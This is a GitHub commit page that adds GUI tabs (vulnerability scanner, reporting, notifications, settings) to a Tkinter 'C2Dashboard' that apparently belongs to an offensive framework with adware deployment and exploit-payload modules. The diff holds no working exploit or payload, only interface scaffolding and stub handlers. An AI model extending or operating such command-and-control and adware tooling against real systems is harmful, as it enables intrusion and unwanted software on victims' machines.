Skip to content

Commit 1c41dea

Browse files
ProjectZeroDaysProjectZeroDays
authored
Merge pull request #25 from ProjectZeroDays/enhance-dashboard
Enhance dashboard with new features and improved UI
2 parents ca1325f + 26220ce commit 1c41dea

File tree

4 files changed

+167
-0
lines changed

4 files changed

+167
-0
lines changed

‎app.py‎

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,7 @@
2323
from src.adware_dashboard.core.adware_manager import AdwareManager
2424
from src.adware_dashboard.core.ai_integration import AIIntegration
2525
from src.adware_dashboard.core.deployment_manager import DeploymentManager
26+
from src.vulnerability_scanner import VulnerabilityScanner
2627

2728
class C2Dashboard:
2829
def __init__(self, root):
@@ -44,6 +45,7 @@ def __init__(self, root):
4445
self.adware_manager = AdwareManager(logging.getLogger(__name__), self.dashboard.exploit_payloads, self.dashboard.network_exploitation)
4546
self.ai_integration = AIIntegration(logging.getLogger(__name__))
4647
self.deployment_manager = DeploymentManager(logging.getLogger(__name__))
48+
self.vulnerability_scanner = VulnerabilityScanner()
4749

4850
def create_widgets(self):
4951
self.tab_control = ttk.Notebook(self.root)
@@ -58,6 +60,9 @@ def create_widgets(self):
5860
self.ai_integration_tab = ttk.Frame(self.tab_control)
5961
self.deployment_manager_tab = ttk.Frame(self.tab_control)
6062
self.incident_response_tab = ttk.Frame(self.tab_control)
63+
self.vulnerability_scanner_tab = ttk.Frame(self.tab_control)
64+
self.reporting_tab = ttk.Frame(self.tab_control)
65+
self.notification_system_tab = ttk.Frame(self.tab_control)
6166

6267
self.tab_control.add(self.logs_tab, text="Logs")
6368
self.tab_control.add(self.exploits_tab, text="Exploits")
@@ -69,6 +74,9 @@ def create_widgets(self):
6974
self.tab_control.add(self.ai_integration_tab, text="AI Integration")
7075
self.tab_control.add(self.deployment_manager_tab, text="Deployment Manager")
7176
self.tab_control.add(self.incident_response_tab, text="Incident Response")
77+
self.tab_control.add(self.vulnerability_scanner_tab, text="Vulnerability Scanner")
78+
self.tab_control.add(self.reporting_tab, text="Reporting")
79+
self.tab_control.add(self.notification_system_tab, text="Notification System")
7280

7381
self.tab_control.pack(expand=1, fill="both")
7482

@@ -82,6 +90,9 @@ def create_widgets(self):
8290
self.create_ai_integration_tab()
8391
self.create_deployment_manager_tab()
8492
self.create_incident_response_tab()
93+
self.create_vulnerability_scanner_tab()
94+
self.create_reporting_tab()
95+
self.create_notification_system_tab()
8596

8697
self.create_menu()
8798
self.add_user_onboarding()
@@ -115,6 +126,9 @@ def create_menu(self):
115126
self.module_menu.add_command(label="AI Integration", command=self.show_ai_integration)
116127
self.module_menu.add_command(label="Deployment Manager", command=self.show_deployment_manager)
117128
self.module_menu.add_command(label="Incident Response", command=self.show_incident_response)
129+
self.module_menu.add_command(label="Vulnerability Scanner", command=self.show_vulnerability_scanner)
130+
self.module_menu.add_command(label="Reporting", command=self.show_reporting)
131+
self.module_menu.add_command(label="Notification System", command=self.show_notification_system)
118132

119133
def toggle_dark_mode(self):
120134
self.dark_mode = not self.dark_mode
@@ -218,6 +232,27 @@ def create_incident_response_tab(self):
218232
self.stop_incident_response_button = ttk.Button(self.incident_response_tab, text="Stop Incident Response", command=self.stop_incident_response)
219233
self.stop_incident_response_button.pack()
220234

235+
def create_vulnerability_scanner_tab(self):
236+
self.vulnerability_scanner_text = tk.Text(self.vulnerability_scanner_tab, wrap="word")
237+
self.vulnerability_scanner_text.pack(expand=1, fill="both")
238+
239+
self.scan_vulnerabilities_button = ttk.Button(self.vulnerability_scanner_tab, text="Scan Vulnerabilities", command=self.scan_vulnerabilities)
240+
self.scan_vulnerabilities_button.pack()
241+
242+
def create_reporting_tab(self):
243+
self.reporting_text = tk.Text(self.reporting_tab, wrap="word")
244+
self.reporting_text.pack(expand=1, fill="both")
245+
246+
self.generate_report_button = ttk.Button(self.reporting_tab, text="Generate Report", command=self.generate_report)
247+
self.generate_report_button.pack()
248+
249+
def create_notification_system_tab(self):
250+
self.notification_system_text = tk.Text(self.notification_system_tab, wrap="word")
251+
self.notification_system_text.pack(expand=1, fill="both")
252+
253+
self.send_notification_button = ttk.Button(self.notification_system_tab, text="Send Notification", command=self.send_notification)
254+
self.send_notification_button.pack()
255+
221256
def refresh_logs(self):
222257
self.logs_text.delete(1.0, tk.END)
223258
with open("logs/deployment.log", "r") as f:
@@ -335,6 +370,20 @@ def start_incident_response(self):
335370
def stop_incident_response(self):
336371
messagebox.showinfo("Incident Response", "Incident response stopped successfully!")
337372

373+
def scan_vulnerabilities(self):
374+
target = self.vulnerability_scanner_text.get(1.0, tk.END).strip()
375+
if target:
376+
vulnerabilities = self.vulnerability_scanner.scan(target)
377+
self.vulnerability_scanner_text.insert(tk.END, str(vulnerabilities))
378+
379+
def generate_report(self):
380+
report = "Detailed report on exploit activities and results..."
381+
self.reporting_text.insert(tk.END, report)
382+
383+
def send_notification(self):
384+
notification = "Important events and updates within the app..."
385+
self.notification_system_text.insert(tk.END, notification)
386+
338387
def setup_logging(self):
339388
logging.basicConfig(filename='logs/gui.log', level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
340389

@@ -590,6 +639,15 @@ def show_deployment_manager(self):
590639
def show_incident_response(self):
591640
self.tab_control.select(self.incident_response_tab)
592641

642+
def show_vulnerability_scanner(self):
643+
self.tab_control.select(self.vulnerability_scanner_tab)
644+
645+
def show_reporting(self):
646+
self.tab_control.select(self.reporting_tab)
647+
648+
def show_notification_system(self):
649+
self.tab_control.select(self.notification_system_tab)
650+
593651
if __name__ == "__main__":
594652
root = tk.Tk()
595653
app = C2Dashboard(root)

‎config.json‎

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -37,5 +37,26 @@
3737
"incident_response": {
3838
"enabled": true,
3939
"default_action": "alert"
40+
},
41+
"gui_components": {
42+
"settings_panel": {
43+
"enabled": true,
44+
"configurable_settings": [
45+
"window_size",
46+
"theme",
47+
"session_timeout",
48+
"api_keys",
49+
"chatbox",
50+
"dark_mode",
51+
"default_language",
52+
"logging_level",
53+
"log_directory",
54+
"automatic_updates",
55+
"adware_manager",
56+
"ai_integration",
57+
"deployment_manager",
58+
"incident_response"
59+
]
60+
}
4061
}
4162
}

‎src/adware_dashboard/core/adware_manager.py‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -195,3 +195,13 @@ def deploy_adware(self, adware_id: int) -> bool:
195195
except Exception as e:
196196
self.logger.error(f"Error deploying adware '{adware.name}': {str(e)}")
197197
return False
198+
199+
def integrate_with_gui(self, gui):
200+
"""
201+
Integrates the AdwareManager with the GUI.
202+
203+
Args:
204+
gui: The GUI instance to integrate with.
205+
"""
206+
self.gui = gui
207+
self.logger.info("AdwareManager integrated with GUI")

‎src/gui.py‎

Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,7 @@
2323
from src.adware_dashboard.core.adware_manager import AdwareManager
2424
from src.adware_dashboard.core.ai_integration import AIIntegration
2525
from src.adware_dashboard.core.deployment_manager import DeploymentManager
26+
from src.vulnerability_scanner import VulnerabilityScanner
2627

2728
class C2Dashboard:
2829
def __init__(self, root):
@@ -44,6 +45,7 @@ def __init__(self, root):
4445
self.adware_manager = AdwareManager(logging.getLogger(__name__), self.dashboard.exploit_payloads, self.dashboard.network_exploitation)
4546
self.ai_integration = AIIntegration(logging.getLogger(__name__))
4647
self.deployment_manager = DeploymentManager(logging.getLogger(__name__))
48+
self.vulnerability_scanner = VulnerabilityScanner()
4749

4850
def create_widgets(self):
4951
self.tab_control = ttk.Notebook(self.root)
@@ -58,6 +60,10 @@ def create_widgets(self):
5860
self.ai_integration_tab = ttk.Frame(self.tab_control)
5961
self.deployment_manager_tab = ttk.Frame(self.tab_control)
6062
self.incident_response_tab = ttk.Frame(self.tab_control)
63+
self.vulnerability_scanner_tab = ttk.Frame(self.tab_control)
64+
self.reporting_tab = ttk.Frame(self.tab_control)
65+
self.notification_system_tab = ttk.Frame(self.tab_control)
66+
self.settings_tab = ttk.Frame(self.tab_control)
6167

6268
self.tab_control.add(self.logs_tab, text="Logs")
6369
self.tab_control.add(self.exploits_tab, text="Exploits")
@@ -69,6 +75,10 @@ def create_widgets(self):
6975
self.tab_control.add(self.ai_integration_tab, text="AI Integration")
7076
self.tab_control.add(self.deployment_manager_tab, text="Deployment Manager")
7177
self.tab_control.add(self.incident_response_tab, text="Incident Response")
78+
self.tab_control.add(self.vulnerability_scanner_tab, text="Vulnerability Scanner")
79+
self.tab_control.add(self.reporting_tab, text="Reporting")
80+
self.tab_control.add(self.notification_system_tab, text="Notification System")
81+
self.tab_control.add(self.settings_tab, text="Settings")
7282

7383
self.tab_control.pack(expand=1, fill="both")
7484

@@ -82,6 +92,10 @@ def create_widgets(self):
8292
self.create_ai_integration_tab()
8393
self.create_deployment_manager_tab()
8494
self.create_incident_response_tab()
95+
self.create_vulnerability_scanner_tab()
96+
self.create_reporting_tab()
97+
self.create_notification_system_tab()
98+
self.create_settings_tab()
8599

86100
self.create_menu()
87101
self.add_user_onboarding()
@@ -115,6 +129,10 @@ def create_menu(self):
115129
self.module_menu.add_command(label="AI Integration", command=self.show_ai_integration)
116130
self.module_menu.add_command(label="Deployment Manager", command=self.show_deployment_manager)
117131
self.module_menu.add_command(label="Incident Response", command=self.show_incident_response)
132+
self.module_menu.add_command(label="Vulnerability Scanner", command=self.show_vulnerability_scanner)
133+
self.module_menu.add_command(label="Reporting", command=self.show_reporting)
134+
self.module_menu.add_command(label="Notification System", command=self.show_notification_system)
135+
self.module_menu.add_command(label="Settings", command=self.show_settings)
118136

119137
def toggle_dark_mode(self):
120138
self.dark_mode = not self.dark_mode
@@ -218,6 +236,34 @@ def create_incident_response_tab(self):
218236
self.stop_incident_response_button = ttk.Button(self.incident_response_tab, text="Stop Incident Response", command=self.stop_incident_response)
219237
self.stop_incident_response_button.pack()
220238

239+
def create_vulnerability_scanner_tab(self):
240+
self.vulnerability_scanner_text = tk.Text(self.vulnerability_scanner_tab, wrap="word")
241+
self.vulnerability_scanner_text.pack(expand=1, fill="both")
242+
243+
self.scan_vulnerabilities_button = ttk.Button(self.vulnerability_scanner_tab, text="Scan Vulnerabilities", command=self.scan_vulnerabilities)
244+
self.scan_vulnerabilities_button.pack()
245+
246+
def create_reporting_tab(self):
247+
self.reporting_text = tk.Text(self.reporting_tab, wrap="word")
248+
self.reporting_text.pack(expand=1, fill="both")
249+
250+
self.generate_report_button = ttk.Button(self.reporting_tab, text="Generate Report", command=self.generate_report)
251+
self.generate_report_button.pack()
252+
253+
def create_notification_system_tab(self):
254+
self.notification_system_text = tk.Text(self.notification_system_tab, wrap="word")
255+
self.notification_system_text.pack(expand=1, fill="both")
256+
257+
self.send_notification_button = ttk.Button(self.notification_system_tab, text="Send Notification", command=self.send_notification)
258+
self.send_notification_button.pack()
259+
260+
def create_settings_tab(self):
261+
self.settings_text = tk.Text(self.settings_tab, wrap="word")
262+
self.settings_text.pack(expand=1, fill="both")
263+
264+
self.save_settings_button = ttk.Button(self.settings_tab, text="Save Settings", command=self.save_settings)
265+
self.save_settings_button.pack()
266+
221267
def refresh_logs(self):
222268
self.logs_text.delete(1.0, tk.END)
223269
with open("logs/deployment.log", "r") as f:
@@ -335,6 +381,26 @@ def start_incident_response(self):
335381
def stop_incident_response(self):
336382
messagebox.showinfo("Incident Response", "Incident response stopped successfully!")
337383

384+
def scan_vulnerabilities(self):
385+
target = self.vulnerability_scanner_text.get(1.0, tk.END).strip()
386+
if target:
387+
vulnerabilities = self.vulnerability_scanner.scan(target)
388+
self.vulnerability_scanner_text.insert(tk.END, str(vulnerabilities))
389+
390+
def generate_report(self):
391+
report = "Detailed report on exploit activities and results..."
392+
self.reporting_text.insert(tk.END, report)
393+
394+
def send_notification(self):
395+
notification = "Important events and updates within the app..."
396+
self.notification_system_text.insert(tk.END, notification)
397+
398+
def save_settings(self):
399+
settings = self.settings_text.get(1.0, tk.END).strip()
400+
if settings:
401+
# Implement settings save logic here
402+
messagebox.showinfo("Settings", "Settings saved successfully!")
403+
338404
def setup_logging(self):
339405
logging.basicConfig(filename='logs/gui.log', level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
340406

@@ -590,6 +656,18 @@ def show_deployment_manager(self):
590656
def show_incident_response(self):
591657
self.tab_control.select(self.incident_response_tab)
592658

659+
def show_vulnerability_scanner(self):
660+
self.tab_control.select(self.vulnerability_scanner_tab)
661+
662+
def show_reporting(self):
663+
self.tab_control.select(self.reporting_tab)
664+
665+
def show_notification_system(self):
666+
self.tab_control.select(self.notification_system_tab)
667+
668+
def show_settings(self):
669+
self.tab_control.select(self.settings_tab)
670+
593671
if __name__ == "__main__":
594672
root = tk.Tk()
595673
app = C2Dashboard(root)

0 commit comments

Comments
 (0)